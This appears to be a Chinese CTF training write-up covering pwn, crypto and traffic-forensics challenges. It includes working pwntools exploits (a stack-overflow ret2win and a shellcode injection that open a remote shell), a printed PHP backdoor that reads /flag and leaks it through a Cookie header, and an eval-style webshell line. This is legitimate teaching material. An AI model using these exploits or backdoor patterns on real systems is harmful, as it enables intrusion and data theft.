【难度:中等】
Solution
-
main函数: 程序入口点,依次调用initshowtry -
try函数: 漏洞利用的核心cvoid __cdecl try(){ char buffer[256]; // 栈上分配 256 字节的缓冲区 memset(buffer, 0, sizeof(buffer)); puts("Now,Try to exploit it as I done and get the shell!"); puts("Enter your input:"); gets(buffer); // 存在明显的栈溢出漏洞}该函数使用
gets读取用户输入,gets不对输入长度进行检查,因此当输入超过 256 字节时,就会覆盖栈上buffer相邻的高地址数据,包括保存的RBP寄存器值和函数返回地址。 -
backd00r函数: 攻击目标cvoid __cdecl backd00r(){ puts("Congratulations! You have found the backdoor!"); puts("You can now execute any command you want."); system("/bin/sh"); // 执行 system("/bin/sh"),提供一个 shell}该函数提供一个 shell,但程序正常流程中并未调用它,目标就是通过栈溢出劫持程序执行流然后使其跳转到这个函数。
-
确定偏移量:
在 x86-64 架构下,try函数的栈帧布局大致如下:text高地址 -> [返回地址 (8字节)] [保存的 RBP (8字节)] [char buffer[256]] <- gets 写入的起始位置低地址 -> ...要覆盖返回地址我们需要填充
buffer的 256 字节,再加上保存的RBP的 8 字节,因此覆盖返回地址的偏移量为256 + 8 = 264字节。 -
解决栈对齐问题:
在 x86-64 Linux ABI 中调用system等函数时要求栈指针(RSP)必须是 16 字节对齐的。当maincalltry时,栈已经是不对齐的(16n - 8)。如果我们直接ret到backd00r,栈依然是不对齐的,会导致system调用失败。
为了解决这个问题,我们在跳转到backd00r之前先跳转到一个ret指令,这个ret指令会从栈上弹出一个地址(即backd00r地址),使 RSP 增加 8 字节,从而将栈恢复到 16 字节对齐的状态。 -
构建 Payload:
最终的 payload 结构如下:
[填充数据 (264字节)] + [ret Gadget 地址] + [backd00r 函数地址]
在开始编写脚本前还需要确定 ret gadget 和 backd00r 函数的精确地址
-
检查保护机制:
bash┌──(kali㉿kali)-[~/Desktop]└─$ checksec ./overflow[*] '/home/kali/Desktop/overflow' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes关键信息是
No PIE,这意味着程序的内存地址是固定的,我们可以直接使用静态分析得到的地址。 -
使用 pwntools 自动查找:
我们可以利用pwntools库方便地从 ELF 文件中提取所需地址。backd00r地址:elf.symbols['backd00r']retGadget 地址:ROP(elf).find_gadget(['ret']).address
#!/usr/bin/env python3from pwn import * # 设置目标二进制文件上下文context.binary = elf = ELF('./overflow')# 设置日志等级context.log_level = 'info' # 连接信息HOST = '8.147.132.32'PORT = 25071 # 寻找所需地址rop = ROP(elf)RET_GADGET = rop.find_gadget(['ret']).addressBACKDOOR_ADDR = elf.symbols['backd00r'] # 确定覆盖返回地址的偏移量OFFSET = 256 + 8 # 打印关键地址信息用于调试确认log.info(f"Using ret gadget at: {hex(RET_GADGET)}")log.info(f"Jumping to backd00r at: {hex(BACKDOOR_ADDR)}")log.info(f"Calculated offset: {OFFSET}") io = remote(HOST, PORT) # 构造 payload# 填充数据 -> ret gadget (用于栈对齐) -> backd00r 函数payload = flat([ b'A' * OFFSET, p64(RET_GADGET), p64(BACKDOOR_ADDR)]) io.recvuntil(b'Enter your input:\n') io.sendline(payload)log.success("Payload sent successfully!") io.interactive()FLAG
flag{2a7429ab-6c6c-4db1-b8bd-8ed029f9c1fa}input_function
Challenge
什么?要输入一个函数?
【难度:困难】
Solution
先看主函数
int __fastcall main(int argc, const char **argv, const char **envp){ void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0); puts("please input a function(after compile)"); read(0, buf, 0x500u); ((void (*)(void))buf)(); return 0;}mmap:程序使用mmap系统调用来分配一块内存addr:(void *)0x114514,这是一个固定的地址,这意味着无论程序怎么运行,这块内存总是在0x114514这个位置。prot:7。在 Linux 中,内存保护标志是位掩码:PROT_READ(4) |PROT_WRITE(2) |PROT_EXEC(1)。4 + 2 + 1 = 7,所以这块内存的权限是 可读、可写、可执行 (RWX)。
read:程序从标准输入读取最多0x500字节的数据,并直接存放到刚刚mmap出来的buf内存区域中。((void (*)(void))buf)():程序将buf的地址强制转换为一个函数指针,然后直接调用(跳转到)它。
结论:这个程序给了我们一块固定地址、权限为 RWX 的内存,并且允许我们向其中写入任意代码,然后直接跳转过去执行,因此我们只需要提供一段 shellcode 就行。
from pwn import * context.update(arch='amd64', os='linux') HOST = '8.147.132.32'PORT = 18280 # 1. 生成 shellcodeshellcode = asm(shellcraft.sh()) io = remote(HOST, PORT) io.recvuntil(b'please input a function(after compile)\n') # 2. 发送 shellcodeio.send(shellcode)log.success("Shellcode sent!") io.interactive()FLAG
flag{fd4083c1-c401-4a1c-845e-01af917f7f21}Crypto
唯一表示
Challenge
不要把鸡蛋放在同一个篮子里
【难度:中等】
from sympy.ntheory.modular import crtfrom Crypto.Util.number import bytes_to_longfrom sympy import primerangeimport uuid # 生成素数列表primes = list(primerange(2, 114514)) # 生成随机 flag,并转换为整数flag = "flag{" + str(uuid.uuid4()) + "}"message_int = bytes_to_long(flag.encode()) def fun(n: int): """ 给定整数 n,返回它对若干个素数模的余数列表, 直到用这些余数和模数 CRT 重建出的值恰好等于 n。 """ used_primes = [2] # 当前使用的素数列表,先用 2 开始 prime_index = 1 # primes[0] 已用,从 primes[1] 开始 while True: # 计算 n 对当前所有模数的余数 remainders = [n % p for p in used_primes] # 用 CRT 尝试重建 n reconstructed, _ = crt(used_primes, remainders) # 如果重建成功,返回余数列表 if reconstructed == n: return remainders # 否则继续添加新的素数,扩大模数集合 used_primes.append(primes[prime_index]) prime_index += 1 # 计算 message_int 的余数表示c = fun(message_int) print(c) """[1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]"""Solution
- 生成素数:脚本首先生成了一个从 2 到 114514 之间的所有素数的列表,这个列表是固定的
- 转换 Flag:脚本生成一个随机的 flag,并使用
bytes_to_long将其转换为一个非常大的整数message_int - 核心函数
fun:- 接收整数
n(也就是message_int)。 - 从一个仅包含素数
[2]的模数列表used_primes开始 - 进入一个循环,不断地从主素数列表
primes中添加新的素数到used_primes里 - 在每次循环中计算
n对当前used_primes列表里所有素数的余数 - 使用中国剩余定理(CRT),根据当前的模数(
used_primes)和余数(remainders)重构一个数 - 当重构出的数
reconstructed恰好等于原始的n时循环终止并返回当前的余数列表
- 接收整数
中国剩余定理(CRT)的核心在于,对于一组互质的模数 M = p1 * p2 * ... * pk,它能找到一个在模 M 意义下唯一的解,sympy.crt 函数返回的是满足条件的最小非负整数解
reconstructed == n 这个条件只有在 n 小于所有模数的乘积 M 时才会成立,如果 n 大于或等于 M,那么 CRT 返回的结果将是 n % M,这显然不等于 n
因此 fun 函数的循环本质上是在寻找一个最小的初始素数集合使得这些素数的乘积刚好大于 message_int
解题步骤如下:
- 脚本的输出
c是最终的余数列表,这个列表的长度len(c)告诉我们脚本总共使用了多少个素数,重新生成和原脚本一模一样的素数列表 - 用于最后一次 CRT 计算的模数(
moduli)就是我们生成的素数列表中的前len(c)个素数 - 现在已知模数(前
len(c)个素数)和余数(列表c),我们可以再次使用 CRT 来精确地解出原始的message_int
from sympy.ntheory.modular import crtfrom Crypto.Util.number import long_to_bytesfrom sympy import primerange c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155] # 1. 生成素数列表all_primes = list(primerange(2, 114514)) # 2. 根据输出 c 的长度确定使用的素数数量num_primes_used = len(c)print(f"使用的素数数量: {num_primes_used}") # 3. 获取模数列表(也就是素数列表的前 num_primes_used 个)moduli = all_primes[:num_primes_used] # 4. 使用中国剩余定理,根据已知的模数和余数来重构原始整数# 我们要求解的同余方程组是:# message_int ≡ remainders[0] (mod moduli[0])# message_int ≡ remainders[1] (mod moduli[1])# ...message_int, _ = crt(moduli, c) print(f"重构出的整数: {message_int}") flag_bytes = long_to_bytes(message_int)flag = flag_bytes.decode()print(flag)使用的素数数量: 54重构出的整数: 56006392793407635010269894324071027836182028746326229271331328895596420941873678122985250345057530237flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}FLAG
flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}小跳蛙
Challenge
青蛙会跳到哪里去呢?
【难度:中等】
banner = """Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem. There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is. Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence If you succeed, I will give you a mysterious flag."""print(banner) import reimport randomfrom secret import flag cnt = 0while cnt < 5: a = random.randint(1, 10**(cnt+1)) b = random.randint(1, 10**(cnt+1)) print( str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")") user_input = input("Please input the final position of the frog (x,y) :") pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?' match = re.match(pattern, user_input.strip()) if match: x, y = map(int, match.groups()) else: print("Unable to parse the input. Please check the format and re-enter") continue original_a, original_b = a, b while a != b: if a > b: a = a - b else: b = b - a if x == a and y == b: print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!") cnt += 1 else: print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b)) break if cnt == 5: print("Congratulations, you answered all the questions correctly!") print("Mysterious Flag:" + flag) Solution
连接到服务器后会收到一段欢迎信息,其中描述了游戏规则:
一只青蛙在格点
(a, b)上。
- 当
a > b,它会跳到(a-b, b)- 当
a < b,它会跳到(a, b-a)- 当
a = b,它会停留在原地
服务器会连续给出 5 组不同的 (a, b),我们需要计算出青蛙最终停留的位置 (x, y) 并提交
这个规则正是计算最大公约数的经典算法:欧几里得算法(辗转相减法)
也就是说:对于任意给定的 (a, b),青蛙最终停留的位置 (x, y) 就是 (gcd(a, b), gcd(a, b))
from pwn import *import reimport math context.log_level = 'info'HOST = '8.147.132.32'PORT = 37713 p = remote(HOST, PORT) # 循环 5 次来回答问题for i in range(5): # 1. 等待接收到 "is: (",确保解析的是真实的数字坐标 p.recvuntil(b'is: (') # 2. 接收到 ')' 为止,并用 drop=True 去掉末尾的 ')' coords_bytes = p.recvuntil(b')', drop=True) coords_str = coords_bytes.decode() log.info(f"第 {i+1} 轮: 收到坐标字符串: '{coords_str}'") # 使用正则表达式提取数字 match = re.search(r'(\d+),\s*(\d+)', coords_str) if not match: log.error("解析坐标失败") p.close() exit(1) a = int(match.group(1)) b = int(match.group(2)) log.info(f"解析出 (a, b) = ({a}, {b})") # 3. 计算最大公约数 (GCD) result_gcd = math.gcd(a, b) log.success(f"计算出 GCD = {result_gcd}") # 4. 发送答案 answer = f"({result_gcd}, {result_gcd})" p.sendline(answer.encode()) log.info(f"已发送答案: {answer}") # 5. 获取 Flagp.recvuntil(b"Mysterious Flag:")flag = p.recvline().strip().decode()log.success(flag) p.close()[*] 第 1 轮: 收到坐标字符串: '5,9'[*] 解析出 (a, b) = (5, 9)[+] 计算出 GCD = 1[*] 已发送答案: (1, 1)[*] 第 2 轮: 收到坐标字符串: '24,12'[*] 解析出 (a, b) = (24, 12)[+] 计算出 GCD = 12[*] 已发送答案: (12, 12)[*] 第 3 轮: 收到坐标字符串: '733,317'[*] 解析出 (a, b) = (733, 317)[+] 计算出 GCD = 1[*] 已发送答案: (1, 1)[*] 第 4 轮: 收到坐标字符串: '3094,9104'[*] 解析出 (a, b) = (3094, 9104)[+] 计算出 GCD = 2[*] 已发送答案: (2, 2)[*] 第 5 轮: 收到坐标字符串: '38083,37819'[*] 解析出 (a, b) = (38083, 37819)[+] 计算出 GCD = 1[*] 已发送答案: (1, 1)[+] flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}FLAG
flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}初识RSA
Challenge
好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)
【难度:简单】
from Crypto.Util.number import *import hashlib key=b'??????' assert len(key)==6KEY = hashlib.md5(key).hexdigest().encode()print('KEY=',KEY) flag=b'flag{?????????????}' m=bytes_to_long(flag) e=65537p=getPrime(512)q=getPrime(512)n=pow(p,3)* pow(q,2)c=pow(m,e,n) P=p^(bytes_to_long(key)) print("P=",P)print("n=",n)print("c=",c) '''KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845'''Solution
- 寻找
key:在 md5在线解密破解 查询得到crypto的 md5 的值为5ae9b7f211e23aac3df5f2b8f3b8eada,因此原始的 6 字节key就是b'crypto' - 寻找
p:脚本中有一个非常关键的线索:P = p ^ (bytes_to_long(key))- XOR(异或)运算有一个特性:
A ^ B = C那么A = C ^ B - 我们现在知道了
key和P的值,所以我们可以通过p = P ^ bytes_to_long(key)来直接计算出p
- XOR(异或)运算有一个特性:
- 寻找
q:脚本中定义了RSA模数n = p^3 * q^2- 既然我们已经通过上一步计算出了
p,我们就可以计算p^3 - 然后我们可以通过
q^2 = n // p^3来得到q的平方 - 最后对
q^2开方就可以得到q
- 既然我们已经通过上一步计算出了
- 计算欧拉函数
phi(n):对于标准的n = p * q,phi(n) = (p-1)*(q-1)。但在这里,n = p^3 * q^2,所以我们需要使用欧拉函数的通用性质:phi(a*b) = phi(a) * phi(b)(当a, b互质时)phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)- 因此,
phi(n) = phi(p^3 * q^2) = phi(p^3) * phi(q^2) phi(p^3) = p^2 * (p-1)phi(q^2) = q * (q-1)- 所以,
phi(n) = (p^2 * (p-1)) * (q * (q-1))
- 计算私钥
d:私钥d是公钥e关于phi(n)的模逆元d * e ≡ 1 (mod phi(n))- 我们可以用
d = pow(e, -1, phi(n))来计算
- 解密消息
m: 有了私钥d我们就可以对密文c进行解密m = pow(c, d, n)
from Crypto.Util.number import bytes_to_long, long_to_bytesfrom math import isqrt P = ...n = ...c = ...e = 65537 # --- 步骤 1: 确定 key ---key = b'crypto'print(f"[+] Found key: {key}") # --- 步骤 2: 计算 p ---key_long = bytes_to_long(key)p = P ^ key_longprint(f"[+] Calculated p successfully.") # --- 步骤 3: 计算 q ---p_cubed = pow(p, 3)# 确保 n 可以被 p^3 整除assert n % p_cubed == 0q_squared = n // p_cubed # 使用整数开方计算 qq = isqrt(q_squared)# 验证 q^2 是否等于我们计算出的 q_squaredassert pow(q, 2) == q_squaredprint(f"[+] Calculated q successfully.") # --- 步骤 4: 计算 phi(n) ---phi_n = (pow(p, 2) * (p - 1)) * (q * (q - 1))print(f"[+] Calculated phi(n) successfully.") # --- 步骤 5: 计算私钥 d ---d = pow(e, -1, phi_n)print(f"[+] Calculated private key d successfully.") # --- 步骤 6: 解密消息 m ---m = pow(c, d, n)print(f"[+] Decrypted message m successfully.") # --- 步骤 7: 还原 flag ---flag = long_to_bytes(m)print(flag.decode())[+] Found key: b'crypto'[+] Calculated p successfully.[+] Calculated q successfully.[+] Calculated phi(n) successfully.[+] Calculated private key d successfully.[+] Decrypted message m successfully.flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}FLAG
flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}随机数之旅1
Challenge
真正的大中衔接belike:
【难度:简单】
import uuidfrom Crypto.Util.number import getPrime, bytes_to_longimport random # 生成随机 flag 并转换为整数flag = "flag{" + str(uuid.uuid4()) + "}"message_int = bytes_to_long(flag.encode()) # 生成两个素数:# p 的比特长度比 message_int 略大# a 的比特长度和 p 相同p = getPrime(message_int.bit_length() + 3)a = getPrime(p.bit_length()) print(f"a = {a}")print(f"p = {p}") # hint 序列:以随机数为起点,按递推关系生成 5 次# hint[i+1] = (a * hint[i] + message_int) mod phint_values = [random.randint(1, p - 1)] for _ in range(5): next_value = (a * hint_values[-1] + message_int) % p hint_values.append(next_value) print("hint =", hint_values) """a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244] """Solution
-
已知信息:乘数
a,模数p,一个由 LCG 生成的序列hint -
未知信息:增量
message_int(也就是m),它代表了 flag -
核心公式:
hint[i+1] = (a * hint[i] + message_int) % p
我们的目标是解出 message_int,由于我们已经知道了 a 和 p,因此这变成了一个非常简单的代数问题
我们可以从 hint 列表中取出任意两个连续的元素,比如 hint[0] 和 hint[1],然后将它们代入核心公式:
hint[1] = (a * hint[0] + message_int) % p
这是一个关于 message_int 的一次同余方程,我们可以直接移项来求解 message_int:
message_int = (hint[1] - a * hint[0]) % p
计算步骤:
- 从
hint列表中取出hint[0]和hint[1] - 计算
a * hint[0] - 从
hint[1]中减去上一步的结果 - 将最终结果对
p取模,得到message_int
from Crypto.Util.number import long_to_bytes a = ...p = ...hint = ... # 1. 从 hint 列表中取出前两个元素h0 = hint[0]h1 = hint[1] # 2. 根据公式 message_int = (hint[1] - a * hint[0]) mod p 求解# Python 的 % 运算符能正确处理负数取模,所以可以直接计算message_int = (h1 - a * h0) % pprint(f"[*] 成功恢复 message_int: m = {message_int}") flag_bytes = long_to_bytes(message_int)flag = flag_bytes.decode('utf-8')print(flag)[*] 成功恢复 message_int: m = 56006392793428429658174402239819000060300656649754549632005403493317815055195551066672537705480730237flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}FLAG
flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}Sagemath使用指哪?
Challenge
使用Sagemath运行程序以获得flag
【难度:简单】
# Sage 9.3 key=1G = PSL(2, 11)key*=G.order()G = CyclicPermutationGroup(11)key*=G.order()G = AlternatingGroup(114)key*=G.order()G = PSL(4, 7)key*=G.order()G = PSU(3, 4)key*=G.order()G = MathieuGroup(12)key*=G.order() c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011 key=(int(str(bin(key))[2:][0:42*8],2))m=c^^keyf=[]while m>0: x=m%256 f.append(chr(x)) m//=256f.reverse()flag="".join(i for i in f )print(flag)Solution
直接用 sage 运行就行
(sage) ┌──(kali㉿kali)-[~/Desktop]└─$ sage sagematch.sageflag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}FLAG
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}Week 2
Misc
星期四的狂想
Challenge
怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。
【难度:困难】
Solution
攻击链条分析:
- 文件准备: 攻击者先后上传了 chickenvivo50.php (函数库), crazy.php (读取、混淆flag), index.php (攻击入口和触发器)。
- 触发攻击 (Frame 519): 攻击者向
/uploads/?cmd=ThURSDAY发起了一个 POST 请求。- URL参数:cmd=ThURSDAY
- POST内容:file=crazy.php
- 后门执行逻辑:
- 服务器执行
index.php index.php包含了chickenvivo50.phpindex.php通过require_once($_POST["file"])包含了crazy.phpcrazy.php执行后读取服务器根目录下的/flag文件,对其内容进行混淆(随机反转或ROT13加密),然后存入一个全局变量$GLOBALS['ThURSDAY']index.php接着执行code($_GLOBALS[$_GET['cmd']]),即code($GLOBALS['ThURSDAY'])code()函数将混淆后的 flag 进行 Base64 编码,并构造成一个 HTTP Cookie 头- 最后
getFunction("vivo")(映射到 header 函数) 将这个构造好的 Cookie 头发送出去
- 服务器执行
- 数据窃取 (Frame 521): 服务器返回的响应中包含了一个关键的HTTP头
Cookie: token=R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==,这串Base64编码的字符串R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==就是被盗走的数据
分析攻击者上传的 crazy.php 文件(例如在 Frame 224 或 Frame 451 中)的核心混淆逻辑:
// 1. 读取flag并进行Base64编码$flag = base64_encode(file_get_contents("/flag")); // 2. 初始化一个空字符串$hahahahahaha = ''; // 3. 将Base64编码后的flag每10个字符分割成一个块foreach (str_split($flag, 10) as $part) { // 4. 对每个块进行随机操作:要么字符串反转,要么ROT13加密 if (rand(0, 1)) { $part = strrev($part); // 字符串反转 } else { $part = str_rot13($part); // ROT13 } // 5. 将处理后的块拼接起来 $hahahahahaha .= $part;}// 6. 将最终拼接的字符串再进行一次Base64编码,放入Cookie// (这个逻辑在index.php中通过调用crazy.php里的code()函数实现)对 Cookie 中的 token 值 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ== 进行 Base64解码得到:GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==
脚本爆破
import base64import refrom itertools import product def rot13(s: str) -> str: """ 对字符串进行ROT13操作 """ result = "" for char in s: if 'a' <= char <= 'z': result += chr((ord(char) - ord('a') + 13) % 26 + ord('a')) elif 'A' <= char <= 'Z': result += chr((ord(char) - ord('A') + 13) % 26 + ord('A')) else: result += char return result def is_valid_base64_chunk(s: str) -> bool: """ 检查字符串块是否只包含有效的Base64内容字符 (A-Z, a-z, 0-9, +, /) """ return re.match(r'^[A-Za-z0-9+/]*$', s) is not None # 1. 输入 $hahahahahahaencoded_str = "GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==" # 2. 自动分块chunks = [encoded_str[i:i+10] for i in range(0, len(encoded_str), 10)]print(f"[*] Input string split into {len(chunks)} chunks:")print(chunks)print("-" * 30) # 3. 分析每个块的可能性all_possibilities = []for i, chunk in enumerate(chunks): if "=" in chunk: all_possibilities.append([chunk]) continue chunk_possibilities = [] # 可能性1: strrev rev_strrev = chunk[::-1] if is_valid_base64_chunk(rev_strrev): chunk_possibilities.append(rev_strrev) # 可能性2: rot13 rev_rot13 = rot13(chunk) if is_valid_base64_chunk(rev_rot13): chunk_possibilities.append(rev_rot13) print(f"[*] Chunk {i+1}: '{chunk}' -> Found {len(chunk_possibilities)} possible reversals: {chunk_possibilities}") all_possibilities.append(chunk_possibilities) print("-" * 30) # 4. 爆破所有组合并分析found_flags = [] total_combinations = len(list(product(*all_possibilities)))print(f"[*] Total combinations to test: {total_combinations}") for combination in product(*all_possibilities): candidate_b64 = "".join(combination) # 5. 尝试解码并验证格式 try: decoded_bytes = base64.b64decode(candidate_b64) decoded_text = decoded_bytes.decode('utf-8') if decoded_text.startswith('flag{'): print(f"[+] SUCCESS: Found potential flag!") print(f" - Reassembled B64: {candidate_b64}") print(f" - Decoded Flag: {decoded_text}") found_flags.append(decoded_text) except (UnicodeDecodeError): pass if not found_flags: print("[-] FAILED: No combination resulted in a valid flag format.")FLAG
flag{What_1S_tHuSd4y_Quickly_VIVO50}MISC城邦-NewKeyboard
Challenge
欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!
【难度:中等】
Solution
我们得到两个.pcapng流量包文件:
-
abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng:文件名本身告诉了我们流量中按键的顺序,我们可以用它来建立 USB 数据和实际字符之间的映射关系 -
newkeyboard.pcapng:这是目标文件,里面包含了未知的键盘输入
显然本题的任务是利用 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng 建立映射表,然后根据此提取出 newkeyboard.pcapng 的输入
用 tshark 从两个 pcapng 文件中提取出 usbhid.data 字段的内容:
tshark -r abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_keymap_data.txttshark -r newkeyboard.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_target_data.txt打开 raw_keymap_data.txt 进行分析,这些数据是没有分隔符的长字符串:
0100100000000000... // 'a' 按下0100000000000000... // 按键释放0100200000000000... // 'b' 按下0100000000000000... // 按键释放...0102000000000020... // '_' (Shift + -) 按下...通过观察,我们可以得出结论:
- 数据是成对出现的“按下”和“释放”
- “释放”事件的数据固定为
0100000000000000... - 按键信息似乎是一种位掩码 ,存储在数据的特定位置
- 带有
Shift的按键,其数据前缀会从0100变为0102
深入分析 raw_keymap_data.txt 后发现在输入需要按 Shift 的特殊字符时会产生一些额外的中间状态数据包,例如:
- 按下
Shift和-(产生_的数据) - 释放
-时Shift键可能还按着,产生了一个只有Shift状态的数据包 - 释放
Shift
手动清洗数据(只保留按下的,把释放按键的给删了,把脏数据给清除了)得到:
0100100000000000000000000000000000000000000001002000000000000000000000000000000000000000010040000000000000000000000000000000000000000100800000000000000000000000000000000000000001000001000000000000000000000000000000000000010000020000000000000000000000000000000000000100000400000000000000000000000000000000000001000008000000000000000000000000000000000000010000100000000000000000000000000000000000000100002000000000000000000000000000000000000001000040000000000000000000000000000000000000010000800000000000000000000000000000000000000100000001000000000000000000000000000000000001000000020000000000000000000000000000000000010000000400000000000000000000000000000000000100000008000000000000000000000000000000000001000000100000000000000000000000000000000000010000002000000000000000000000000000000000000100000040000000000000000000000000000000000001000000800000000000000000000000000000000000010000000001000000000000000000000000000000000100000000020000000000000000000000000000000001000000000400000000000000000000000000000000010000000008000000000000000000000000000000000100000000100000000000000000000000000000000001000000002000000000000000000000000000000000010000000040000000000000000000000000000000000100000000800000000000000000000000000000000001000000000001000000000000000000000000000000010000000000020000000000000000000000000000000100000000000400000000000000000000000000000001000000000008000000000000000000000000000000010000000000100000000000000000000000000000000100000000002000000000000000000000000000000001000000000040000000000000000000000000000000010000000000800000000000000000000000000000000100000000000020000000000000000000000000000001020000000000200000000000000000000000000000010200000040000000000000000000000000000000000102000000000080000000000000000000000000000001020000000000000100000000000000000000000000再用脚本映射数据即可
known_chars = "abcdefghijklmnopqrstuvwxyz1234567890-_!{}" keymap_file = "raw_keymap_data.txt"target_file = "raw_target_data.txt" data_to_char_map = {}with open(keymap_file, 'r', encoding='utf-8') as f: keymap_lines = [line.strip() for line in f if line.strip()] data_to_char_map = dict(zip(keymap_lines, known_chars)) flag = "" with open(target_file, 'r', encoding='utf-8') as f: target_lines = [line.strip() for line in f if line.strip()] for line in target_lines: char = data_to_char_map.get(line) if char: flag += char print(flag)FLAG
flag{th1s_is_newkeyboard_y0u_get_it!}美妙的音乐
Challenge
小明最近发现了一首好听的曲子,他把曲子发给你并邀请你一起欣赏,可是这个曲子似乎有什么不对劲的地方?
【难度:简单】
Solution
找个在线网站打开这个 midi 文件即可 https://signalmidi.app/

好听~
FLAG
flag{thi5_1S_m1Di_5tEG0}OSINT-威胁情报
Challenge
城邦受到了未知APT组织的攻击,目前已解除威胁,但留下了恶意文件的hash值。为了以后的安全,请Newstar们进行调查,帮助城邦们完善威胁情报吧!flag格式:flag{apt组织名称_通信C2服务器域名_恶意文件编译时间(年-月-日)};所有字母全部小写
【难度:简单】
hash:2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0Solution
在 微步在线云沙箱 可以找到所有答案(在 ANY.RUN - Malware Sandbox Online 也是)
FLAG
flag{kimsuky_alps.travelmountain.ml_2021-03-31}日志分析-不敬者的闯入
Challenge
在抗日战争暨世界反法西斯战争胜利80周年
前夕,城邦的临时工搭建了一个纪念网站,帮助人们恢复记忆。一些不法分子妄图破坏新世界的记忆,企图摧毁网站,幸好临时工及时止损关闭了该网站的服务,才保住了历史的记忆。请挑战者们通过保留的网站日志,帮助临时工找到不敬者的木马威胁,让临时工能保住这份来之不易的工作吧!
【难度:简单】
Solution
搜索 shell 找到好几条类似这样的数据
171.16.20.55 - - [30/Aug/2025:18:28:22 +0800] "GET /admin/Webshell HTTP/1.1" 200 63(已经把 webshell 写脸上了
访问 /admin/Webshell 就能拿到 flag
<?php eavl($_POST['flag{e4f8406a-0cd4-4483-b288-221b5941ad65}'])?>FLAG
